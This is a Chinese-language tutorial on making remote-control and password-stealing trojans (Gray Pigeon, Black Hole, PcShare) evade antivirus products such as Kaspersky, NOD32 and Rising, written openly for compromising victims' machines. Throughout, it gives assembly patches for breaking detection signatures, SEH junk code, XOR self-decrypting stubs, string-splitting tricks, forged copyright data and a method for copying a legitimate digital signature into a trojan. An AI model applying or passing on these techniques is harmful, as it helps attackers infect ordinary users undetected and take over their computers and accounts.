|
學習免殺,首先你得學會匯編把,基礎的指令要懂得一些,一般的指令修改必須會,一般的修改這里就不贅述了,接下來就是掌握一些常用的免殺技巧,這里總結一些 第一:我們學習免殺的方向:只是為了保護自己的黑軟的話!就不會學的那么累(沒必去學匯編編程)有時候簡單加下殼或者脫下殼就OK!如果是要挑戰(zhàn)世界的殺毒軟件的話,畢竟每個PC用戶安裝的殺軟都不一樣!想抓雞拿服務器的朋友就要進修脫殼破解,高級匯編的內容了,這將決定你免殺技術的高低! 第二:免殺的環(huán)境:做免殺,逃不了測試這個木馬是不是修改成功!所以為了保護自己的系統(tǒng),我建議學免殺要先學會使用虛擬機,很多人會說,為什么不用影子?影子系統(tǒng)雖然也是可以保護的,暫用資源又少,但是有些反彈型木馬,我們運行后如果失?。词钩晒Γ┒夹枰貑硗瓿赏耆宄墓ぷ鳎∽鲞^QQ盜號木馬跟黑鷹遠控軟件免殺的朋友應該深有體會! 第三:殺軟的安裝設置:個人建議安裝卡巴,NOD32,小紅傘,瑞星,金山?。ó斎慌渲煤玫碾娔X可以再加上江民,麥咖啡)!硬盤大的朋友建議全利用虛擬機安裝殺軟(方便以后重做系統(tǒng),節(jié)省升級病毒庫的時間)殺軟的設置,可以說是很簡單的!每安裝完一個殺軟,我們都要先在殺軟設置里把監(jiān)控跟自我保護的選項的鉤去掉!然后升級病毒庫!升級完后再關閉服務跟啟動項(利用360安全衛(wèi)士)這樣安裝其他的殺軟就不會起沖突了!這里注意下!瑞星升級后會自己更改自己的服務為自動,所以瑞星建議最后裝,最后升級,再關閉它的服務!這里我想大家肯定是關心殺軟的序列號從哪來的吧!瑞星有體驗版,金山有37天試用版,NOD32利用PPLOVE網絡電視有180天試用!卡巴等洋貨在百度上搜索均有可用的序列號!這個就是考驗大家的細心了!呵呵!卡巴不建議裝6.0.7.0的,人家都在央視打廣告了,我們就裝2009把?。m然卡巴的啟發(fā)比不上NOD32的,但是它的主動可是免殺愛好者的“粉絲”) 殺軟的查殺特點: 卡巴:主動+高啟發(fā)掃描~~,效果相當厲害,卡巴的主動非常麻煩,SSDT也被封了,啟發(fā)式也極難通過,還是要取決于木馬本身的實力了, 瑞星:國內木馬的超級對手可以這么說!對國內的木馬定位的特征是洋貨的N倍(鴿子見證)主要查殺技術是內存查殺技術,但是對一些生僻的木馬,內存病毒庫里竟然沒有,只要過了表面就可以過內存......主動主殺敏感字符串,不過2009的主動貌似改進了不少......廣告賣的倒不錯,但是只是針對流行木馬!其他不常見木馬并沒有加大什么強度! NOD32:啟發(fā)掃描的頭領!主殺輸入表函數(shù),針對MYCCL定位器做過調整!定位建議用 multiCCL這個來定位!不過這個大塊頭對生僻殼的偵殼能力不強!加些生僻殼把一些函數(shù)保護起來可以讓它無用武之地?。ㄟ@類殼主要是加密型,不建議用壓縮型) 金山:數(shù)據流查殺技術的代表!簡單來說跟瑞星內存查殺技術有點一樣!病毒庫升級,查殺病毒速度都是超級快!但是殺毒能力比較上面的幾款有點遜色! 360與金山清理專家:行為查殺的代表,金山清理專家比360查殺力度還大!但是監(jiān)控能力......實在不想說!不過360的5.0版加了木馬云查殺,據說不是很好過(沒試過~~~) 以上可以說是所有集合殺軟的特點:文件查殺,內存查殺,啟發(fā)查殺,數(shù)據流查殺!行為查殺!主動防御!每個殺軟都有自己的特點,一個人也不可能把全球殺軟都安裝起來研究,但是以上4個殺軟跟一個輔助可以說全包括了病毒查殺特點!也不能說哪個不好,哪個很好!有些木馬這個殺軟殺不出來~~那個就可以殺出來!所以對于現(xiàn)在網上有些朋友對個別殺毒軟件不重視,就會導致你所謂的“肉雞”插翅難飛!嘻嘻! 接下來就說說技巧方面的 比如你定位一個特征碼定位到了一個字符串上我們比如這個特征碼定位到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,遇到這個我想大家一定是修改大小寫吧,但是有時候修改大小寫還是被殺。 這個我們可以怎么辦呢,我們可以移動位置,因為這個肯定是一個api函數(shù)的參數(shù),我們找到那個函數(shù)然后修改下調用地址就行了。 所以有時候大家不能總用通用方法,要學會變通。 2.NOD32的疑問,前天有人來問我他說它定位NOD32,定位到了資源上,這個有一個可能是你的定位有錯誤。這個你可以通過multiccl把資源和輸入表段保護起來,然后定位,看可以定位出其他的特征碼不能,至于MYCCL,一般的定位最好在代碼段開始定位,填充可以選擇FF,66什么的,或者反向定位,定位的方法很多的,別人填充00,你就填充00么,現(xiàn)在的殺軟已經把myccl扒的一干二凈了,有反定位措施... 3.花指令 花指令無非是一些干擾程序調試的一些手段,當然也可以作為用來迷惑殺毒軟件使殺毒軟件找不到我們的特征碼,從而達到免殺。 為什么大家總是喜歡用網上的一些什么花指令方法。其實我發(fā)現(xiàn)其實多調用一些子程序,多加一些跳轉,要比你們寫花指令要好的多。不過本人不推薦使用花指令免殺. 4.為什我服務端做了免殺,可是生成出來被殺。 這個大家首先可以對比一下有什么不同的地方,這個我給大家一個思路,現(xiàn)在殺毒軟件就喜歡定位有標志型意義的地方(通俗點講版權信息),大家在做的時候因為為了保護我們的木馬,所以就委屈下原作者,呵呵。版權信息給改了。 還有一個就是比如說灰鴿子,現(xiàn)在殺軟會定位到它的一些dll文件名上,你修改完dll然后找到調用dll文件的函數(shù),然后修改下參數(shù)即可。。。。 高強度花指令--SEH SEH是WINDOWS系統(tǒng)中處理計算機異常行為的一種方式,這種方式的特點就是用入棧的方式把斷點保存起來,所以他的效率很高,往往能夠處理很多的異常狀態(tài)。在免殺中我們可以通過它給木馬加花,讓他“錯誤”地跳到入口點。 奉上匯編代碼如下: push 原入口點 -OEP mov eax,dword ptr fs:[0] push eax mov dword ptr fs:[0],esp mov ebx,0 div ebx 復制代碼 這樣混淆的強度就很大了,其實還有很多這樣的方法,自己漫漫研究把。。 轉載小魚和Medusa的免殺技巧 1. 遇到特征碼定位在jmp指令上面的 構造替換 push xxxxx ret。 舉例: jmp xxxxx 構造替換 push xxxxx ret 2. 遇到特征碼定位在call指令上的。 舉例: call xxxxx 構造替換: push @f jmp xxxxx @@: ;@@的標號表示的是你jmp xxxx指令后面的內存地址。 @f也就是引用@@ 的標號,所以此時@f這里填寫的就是jmp xxxxx指令后面的內存地址。。 3. 遇到特征碼定位在ret上 舉例: ret 構造替換: jmp dword ptr [esp] 4. 遇到特征碼定位在test eax, eax je xxxx or eax, eax, je xxxxx cmp eax, 0 jexxxxxx 舉例: test eax, eax je xxxxxx 構造替換: xchg eax, ecx jecxz xxxxx 5. 遇到特征碼定位在 push [xxxxxx]上的。 舉例:push [xxxxx] 構造: 在其之前通過 xchg [xxxxxx], ebx 然后用寄存器傳參: push ebx 最后在下面在通過xchg [xxxxxx], ebx 交換回來。 6. 數(shù)據段動態(tài)恢復和巧用算法加密結合起來。 前提是對匯編大家一定要有所了解,例如一些人說金山殺的是配置信息上,你完全可以將其這些配置信息所處的地址的數(shù)據進行一層加密?;蛘吣憧梢詫⑵溥@些偏移所處的數(shù)據 通過xchg 交換。 dll注意下 要進行重定位 call $+5 ;機器碼是 E8 00000000 00000000是相對地址 @@: pop ebx sub ebx, @b 下面你就可以通過[ebx+你的偏移]來進行變址尋址了。。 test eax,eax je xxxxxx 將test eax,eax nop掉,改je為jb 或將兩句nop掉 test eax,eax jnz xxxxxx 將兩句nop掉 mov ebx,xxxxxx mov ebp,eax 雙mov可以上下調換 add edx, dword ptr [ebp+6E] imul esi, dword ptr [edi+ebx*2+44], 614D6C6C imul ebp, dword ptr [esi], 0 00 00 00 00 00 00 考慮下移 and eax,80000007 改為: or eax,7FFFFFF9 用C32asm改,80000007為-80000007,C32asm會自動變?yōu)?0000007的負數(shù)7FFFFFF9 je 等于則跳 改成 jle 也是等于則跳 這是瑞星的新把戲 00436008 09C0 xor EAX,EAX 改為 00436008 09C0 OR EAX,EAX 004A19BD 6A 00 PUSH 0 改為 004A19BD 6A 01 PUSH 1 0049D775 /77 07 JA SHORT 021.0049D77E 改為 0049D775 /7F 07 JG SHORT 021.0049D77E 特征碼定位出來用OD載入卻顯示無此地址的解決方法 dll: 也許你經常遇到特征碼定位出來用OD載入卻顯示無此地址. 我們用灰鴿子VIP2006的GETKEY.DLL做演示. 假若特征碼為 [特征] 000009DA_00000002 004015DA (OC導出的內存地址) 使用OC導出的地址到OD中卻不能使用.這時用lordpe打開GETKEY.dll 00013000 00400000 上下相加得00413000 OD載入入口為00883000 > 55 PUSH EBP 把40換成87就是真正的特征碼.008715DA Dll實例(黑洞1.97 瑞星dll特征): OK=1 CharactorTotal=3 Codz1=H_0000354C_0092414C Codz2=H_0001A4B4_0093B0B4 Codz3=H_0003C958_0095D558 先用lord_PE打開,再用OD打開 文件入口:00042948 > -------> 00442948 鏡像:00400000 >----------->相減 00520000 內存入口 00962948 零區(qū)無法定位可執(zhí)行文件數(shù)據的問題 1.c32asm來解決,靜態(tài)反匯編改特征 2.加一0區(qū)段,跨區(qū)段jmp跳,然后再新區(qū)段保存"所有修改",再回到原特征碼處jmp,保存 免殺關鍵是技巧,關鍵你對這些匯編指令掌握的程度,以及你對匯編程序的熟練度。。 接下來再說一下NOD32的高啟 《一個釘子和一個國家滅亡的故事》大家都知道 如果有那一個釘子,不丟那個馬掌,不折那匹戰(zhàn)馬,不傷那位將軍………… 有太多不確定了,只要我們破壞了其中任何一個環(huán)節(jié)啟發(fā)殺毒就會全線潰敗。 NOD32通過PE結構尋找特征代碼 以導入表函數(shù)的修改為例 (這個簡單,其實還有更復雜的上次那個木馬就是12處關聯(lián),但是12處關聯(lián)破壞一個就免殺了) 首先他會從PE MZ那里開始計算PE HARD的位置 在從PE HARD處尋找數(shù)據段 計算數(shù)據段位置尋找指針的提示位置,然后通過指針的提示位置找到指針,通過指針找到導入表函數(shù)。 啟發(fā)殺毒理解比較困難但是修改還是很簡單的,可以說比普通的特征碼更容易。我們只要破壞他以上分析的任何一個環(huán)節(jié)他就會全線潰敗。 以前的pcshare有一個超簡單過NOD32的方法,那就是將子系統(tǒng)設置為未知,就直接過NOD32的高啟發(fā),因為NOD32默認的對未知PE文件不予檢測報毒,而恰巧,我們的pcshare通過這樣更改之后仍然可以運行,達到了免殺目的,就是這么簡單 其實卡巴為我們提供了更多修改的機會 因為他的特征是關聯(lián)的,只要破壞他的關聯(lián)就行了 就好像 1+2+3+4+5+6+7+8+9=45一樣 特征碼是45.當然會有很多選擇我們可以改"1"也可以改“2”還可以改“3”…… 改掉一個他下面的關聯(lián)就被破壞了,也就免殺了, 解決NOD32最簡單的兩個方法 1.把文件子系統(tǒng)設未未知 2.修改OriginalFirstThunk 日期時間標志 ForwarderThunk 以前都是00000000 把它改成FFFFFFFF 或者別的,就這樣就可以過了輸入表查殺雖然之后lordpe提示“錯誤的指針”,但是功能,上線都是沒有損壞的 至于原理,我上面說的很清楚了,呵呵 接下來說下基因啟發(fā) 因啟發(fā)是通過比對文件當中的關鍵代碼,來查殺新病毒以及變種,這種方式在現(xiàn)階段的優(yōu)勢比較明顯,查殺率高,占用內存少,但從缺點來看,這種啟發(fā)技術在現(xiàn)階段已經暴露出來了一個很嚴重的問題就是誤報過于嚴重,在國外的誤報測試當中,使用這項技術的殺軟普遍誤報十分厲害,像蜘蛛,紅傘,飛塔等等。而從長遠來看,這種技術隨著時間的增長,病毒的種類越來越多,必定造成基因庫的臃腫,隨之造成的結果就是殺軟的運行效率降低,占用資源量的提升,甚至出現(xiàn)不同基因代碼間的沖突,所以這項技術雖然在現(xiàn)階段被看好,而且在技術上也沒什么難度。 這個是基因啟發(fā)啟發(fā)的定義,但是NOD32這么多特征完全來自廣譜查殺jack的文章曾說過: 引用:例如,如果一段程序以如下序列開始:MOV AH ,5/INT,13h,即調用格式化盤操作的BIOS指令功能, 那么這段程序就高度可疑值得引起警覺,尤其是假如這段指令之前不存在取得命令行關于執(zhí)行的參數(shù)選項,又沒有要求 用戶交互性輸入繼續(xù)進行的操作指令時,就可以有把握地認為這是一個病毒或惡意破壞的程序。 例子:一個免殺卡巴的木馬加一個被殺的花卡巴會提示type win32病毒 和感染pe的病毒一樣 卡巴會確定他的入口點,一般程序的入口點一般不會在程序的最后一個PE節(jié)里。如果OEP在最后一個PE節(jié)里就值得卡巴懷疑。所以有的“牛人”在2007年初提出了OEP虛擬化…………但是我不懂編程但是我們可以修改PE結構讓入口不在最后一個PE節(jié)里,比如在木馬修改(非PE感染形)用跳轉法移動頭部某些代碼,在頭部空出廣大區(qū)域加花?;蛘呒油昊ǎǜ腥疽院螅┰诩右粋€空文件節(jié)。(這個適用與病毒編程) 寫著寫著就有點跑題…………………… 對于NOD32 pcshare特征碼超多的問題 解釋很簡單 pcshare是一個典型的4代木馬(也有人稱為3代,看分代標準) 很多代碼很典型,適用于殺軟研究廣譜查殺。NOD32的啟發(fā)更偏向于基因啟發(fā),但他沒有獨立的基因庫,用病毒庫代替了基因庫,通過在病毒庫里比對代碼,確認病毒,看到我前面對基因啟發(fā)的介紹,相信對NOD32病毒庫小不難理解吧,很明顯NOD32的開發(fā)者也意識到了這點,所以NOD32對啟發(fā)可以報的病毒是不入庫的。對于pcshare4處關鍵作為啟發(fā)殺毒,剩下26個特征是輔助定位,4處關鍵修改后少量修改輔助定位就可以了。 關于OD修改字符串 例如pcshare有一個定位在“%S%S%S”上的...我們可以首先用C32把“%S%S%S”向前移一位,然后用OD載入,右鍵,超級字符串參考, 查找ASCII,然后找到所有的“s%s%s”(一般是一個PUSH或者CALL指令,他調用的就是這個字符串的地址),由于我們向前移了一位,所以顯示的應該是“s%s%s”,然后雙擊來一個個修改...雙擊后會發(fā)現(xiàn),對應的語句會有一個地址,我們把它改掉,向前一位,如4AD05168就改成4AD05167,接著同樣方法繼續(xù)改其它有“s%s%s”的... 這個方法通用字符串的修改... 另外還有一個容易忽略的問題,那就是文件版權 建議大家的木馬都不要使用原來的圖標和版權信息,可以加上微軟,360的版權信息,有不少殺軟會針對版權信息進行查殺(例:小紅傘,遇到過幾次,其余的不清楚) 360、卡巴免殺 怎么過360 卡巴 瑞星 金山 。。。 360其實很好過 行為查殺 只要把木馬默認的文件名 服務名 (現(xiàn)在應該沒人在使用win98了吧 或用注冊表啟動的木馬了吧 如果有那么把注冊表里的啟動鍵值改了)修改掉 就OK了 金山流氓查殺也是一樣的 接著說 瑞星 和 金山 其實 別看官方吹得很好 其實很垃圾 主動防御如同虛設 這里據個例子 黑洞1.96 吧 因為介紹卡巴的時候用到它 把服務端里面的 黑洞 藏鯨閣 等替換掉 (老陳,不是要砸你招牌 而是被逼的) 再把剛才說的 文件名 服務名 都換成其他的 那主動就過去了 其實NS也行 把SYSNS.DLL 改名 把版權去掉(老熊莫怪哦)再定位出其他的特征碼 修改掉(表面沒過,以上是廢話) 那么 金山 瑞星 360 就過去了 再說卡巴 卡巴2009的主動防御是很強悍的 其實 驅動過是最完美的 可是我菜 不會寫驅動 不過 黑洞1.96國慶版 內有驅動 直接修改 因為這個驅動是為過卡巴而寫 所以 只需要過卡巴就OK了 巧用算法加密特征碼 XOR算法, 相同為0,相異為1 舉個例子 此時 0001 xor 1111 = 1110 1110 xor 0001 = 1111 以下是加密代碼 另外還有kipass寫的加密代碼,可以參照 對于代碼段,為了躲避跟著殺軟跑我們得對代碼段進行全部變形處理...有人問了,怎么變形呢?一般研究溢出,軟件安全的DDMM,GGJJ們都知道在shellcode中有一種比較常見的為了保護自己的shellcode被直接修改利用用的xor加密...到這你應該可以想到了,這就是對整個代碼段進行xor每個字節(jié)加密...但這樣一來加密后就不能運行的..所以我們得找一段空白處,寫一段我們的解密代碼.并把文件入口點跳到這個解密代碼上. 就以最近的flash漏洞的shellcode解密頭來講解. shellcode就是這段解密頭的. 這里就是解密頭...里面我已經注釋非常清楚了...哈.到這里又有人要問了..怎么加密呀..上面已經有算法了..要用上面的話直接用這段代碼直接運行一次就是就加密的代碼了..呵呵.. 這樣代碼段就變的面目全非了...完全不一樣了...好下面是數(shù)據段的修改了 最簡單的修改把原來的數(shù)據段里的東西分開處理.比如說資源..把資源全部移位,再修正指向資源的指針..其它以此類推.這完了數(shù)據段也處理完了..至少在原來的位置上的東東全部也不一樣了... 重定位的段處理和數(shù)據段一樣.. 區(qū)段免殺技術 首先添加了一個空區(qū)段..名為king.. 這是原來的區(qū) 好.看一下這個區(qū)里的地址先~ 然后開始做了. 再用十六進制編輯查看一下區(qū)的大小情況.. A2A00 到 A2BF0 讓整個區(qū)整體向上偏移幾位.. 由于上面的區(qū)本來就沒有東西.是空的 所以我們也不用改任何東西.. 大家隨機應變吧.. 可以適當?shù)脑趨^(qū)里面添加上一些偽指令.. 例如可以加入一些異常指令等等.效果自然會更好 教程未完..看到原來一圖里面的區(qū)了嗎.. 一般都有PE頭的下面..好看我把他們的區(qū)名全部給改了.. 這樣也會誤導殺軟一些的難度. 其實在其它方面.還有一些免殺技術未被公開 還有一些殺其它部位的特征等等. 我們做免殺.不一定要修改特征碼.. 對我來說.特征碼已經等于是過去了.. 此方法是研究源碼免殺的時候悟出來了. 數(shù)字簽名過卡巴 現(xiàn)在過卡巴主動的基本方法可能就是給木馬程序加上數(shù)字簽名,卡巴對此視而不見 加數(shù)字簽名很簡單,用C32打開文件,從PE頭開始的152個字節(jié)為 XX XX XX XX 這里為數(shù)字簽名的地址(倒序)之后的數(shù)值是其簽名代碼的大小,隨便找一個帶有數(shù)字簽名的文件,找到他的位置和大小,把代碼全部復制下來,粘貼到木馬程序中,再更改相關的代碼即可,以附件為例,數(shù)字簽名的位置為:00 8E 00 00 大小:C8 24 那么數(shù)字簽名則在8E00處,大小就是24C8,將其全部復制,再加在木馬程序的最后,然后再修改從PE頭開始的152個字節(jié)的相關數(shù)值即可 Pcshare輸出表輸出函數(shù)名加密法 ok,廢話不多說,給大家簡要說明下。。 首先ollydbg載入PcMain.dll,然后向下找0區(qū)域,然后我們加入我們的加密代碼。 如圖 : 這里我簡要的說明下代碼。 1. 首先保存我們的寄存器環(huán)境。 通過 pushad popad 然后 我們加入代碼 其實這里大家可以運行一遍,此時運行后我們的ServiceMain已經是加密了,然后我們在將.rdata區(qū)段數(shù)據保存。然后修改.rdata的區(qū)段屬性為可讀可寫屬性。 修改入口點位我們加入的代碼的偏移,此時loader加載后就會進行解密。。 這里給出一個DLL的例子。。 加密后我們的輸出函數(shù)名為此圖。 我來給大家解釋下吧,錯與對還請大家評論。 嘿嘿! pushad 和popad作用是為了保存當前寄存器的狀況。 call $+5 ; 機器碼為E8 00 00 00 00 看機器碼,個人認為沒什么意思吧,像個NOP pop eax 這個很簡單,EAX出棧,為什么要出棧,剛才不是全部壓進去了嗎? 因為我們后面的一些操作要用到它這個東東。 xor ax, ax 這幾句代碼是求我們的基地址 但是由于我們寫入的偏移量前面是以1001開頭的,所以接下來我們加入rva的時候要減去10000。 上面這段話已經說明了。我就不多說了。 add eax, 3b05h ;3b05h為ServiceMain輸出函數(shù)名字符串的偏移 (意思就找到輸出函數(shù)名的內存地址。下面用到嘛) xchg eax, esi mov edi, esi 很簡單,不用我多說了吧,不會的去查匯編指令。 lods byte ptr ds:[esi] LODS就是取字符串元素指令,大家調試下就知道了。 假如我們加密后的字符串是“A”,那么ESI所指向的內存地址就是下一個字符串的地址了,他是一個字母一個字符的取的。 or al, al (這個是結合下面的一個JE的,因為。暈了怎么說好呢。大家看一下這個函數(shù)的最后都是00 00 吧,當我們取完字符串后,也就是解密完成后,循環(huán)到這里的時候,OR就是與運算是吧,意思就是是1結果才是1,那么這是零,后面的跳轉就當然跳了) je XXXXXXXX xor al, 18h 異或運算,重點吧。18是16進制,可以隨便改的。 stos byte ptr es:[edi] 這個stos 和LODS相反,既然它取,那么這個就是放的。就是說,經過上面的xor al, 18h 加密后,再放進去,一個一個的解密。 jmp short 1.10011B3F 一個跳,循環(huán)結構,但是當解密完成的時候,這個跳會被JE跳轉,程序正常運行。 最后POP出棧 恢復之前的寄存器狀態(tài)。 再最后一個跳到入口點,執(zhí)行程序。簡單。 數(shù)據段ASCII字符串內存動態(tài)恢復 對于棘手的ASCII字符串,我們還可以使用數(shù)據段ASCII字符串內存動態(tài)恢復的方法,這里也貼出代碼 動態(tài)合并法 雖然說不是加密.但是也是利用了內存動態(tài)恢復的原理濫生出來的技術吧.. . 簡單說明就是: kernel32.lstrcat這個函數(shù)可以對兩個push進行合并. 用法: push 456 push 123 call dword ptr ds:[xxxx]xxxx是輸入表對kernel32.lstrcat的數(shù) 結果會在123的后面多出456 合并成 123456 具體怎么利用不會說明 簡單的打比方就是 當特征碼為svchost.exe的時候. (打比方.) 那我們就可以這樣拆分. svch 和 ost.exe那樣殺軟怎么都不會叫了吧. 然后通過內存動態(tài)合并. 用法. 00402246 60 pushad 00402247 BB 6F104000 mov ebx, 0040106F ; ASCII "IEFrame" 0040224C B9 02000000 mov ecx, 1 00402251 8B03 mov eax, dword ptr [ebx] 00402253 35 50403020 xor eax, 11111111 ;異或算法,密匙 00402258 8903 mov dword ptr [ebx], eax 0040225A 83C3 04 add ebx, 4 0040225D ^ E2 F2 loopd short 00402251 popad 復制代碼 027F5118 /EB 16 jmp short 027F5130 //跳到往下027F5130 027F511A |5B pop ebx //自定位完畢 ebx存是就是緊接著loader下的需要解密處的開始內存地址..也就是027F5131處的 027F511B |33C9 xor ecx, ecx //清空ecx為下面循環(huán)解密xor的字節(jié)做準備 027F511D |66:B8 625D mov ax, 5D62 //傳5D62給ax做初始密匙用 027F5121 |66:31044B xor word ptr [ebx+ecx*2], ax //對ebx+ecx*2處進行雙字節(jié)解密..以前的都是單字節(jié)解密居多. 027F5125 |41 inc ecx //ecx加1,也就是密匙加1,動態(tài)變換密鑰..這就是這個解密頭的稍微比以前的解密強一點的地方.. 027F5126 |40 inc eax //eax加1 累計解密多少次了.為下面判斷做準備 027F5127 |66:81F9 5101 cmp cx, 151 //此處的151比較就是后面加密的代碼的總長度除二..可以替換成你自己按需要解密的總字節(jié)數(shù)除以二 027F512C |7C F3 jl short 027F5121 //沒有解密完就跳,繼續(xù)解密 027F512E |EB 05 jmp short 027F5135 //解密完了,跳到解密完的地方開始正式執(zhí)行原程序的代碼了,此處跳轉地址改成你加密的地方的開始地址 027F5130 E8 E5FFFFFF call 027F511A //配合027F511A處的pop ebx實現(xiàn)此代碼的自定位.. 復制代碼 pushad call $+5 ; 機器碼為E8 00 00 00 00 pop eax xor ax, ax ;這幾句代碼是求我們的基地址 但是由于我們寫入的偏移量前面是以1001開頭的,所以接下來我們加入rva的時候要減去10000。 add eax, 3b05h ;3b05h為ServiceMain輸出函數(shù)名字符串的偏移 xchg eax, esi mov edi, esi @@: lodsb or al, al je @f xor al, 18h stosb jmp @b @@: popad jmp 入口點 復制代碼 100118FE 60 pushad 100118FF 90 nop 10011900 E8 00000000 call 10011905 10011905 58 pop eax 10011906 2D 05190110 sub eax, 10011905 1001190B 05 E0400110 add eax, 100140E0 10011910 C700 53655368 mov dword ptr [eax], 68536553 10011916 61 popad 10011917 ^ E9 C7FBFFFF jmp 100114E3 復制代碼 pushxxxxx //ost.exe的地址,o的地址.因為他開頭嘛 pushxxxxx //接下來的當然是剩下的svch的地址了. call dword ptr ds:[<kernel32.lstrcat>] //這個kernel32.lstrcat的地址需要自己手動在IAT查找.
|
|
|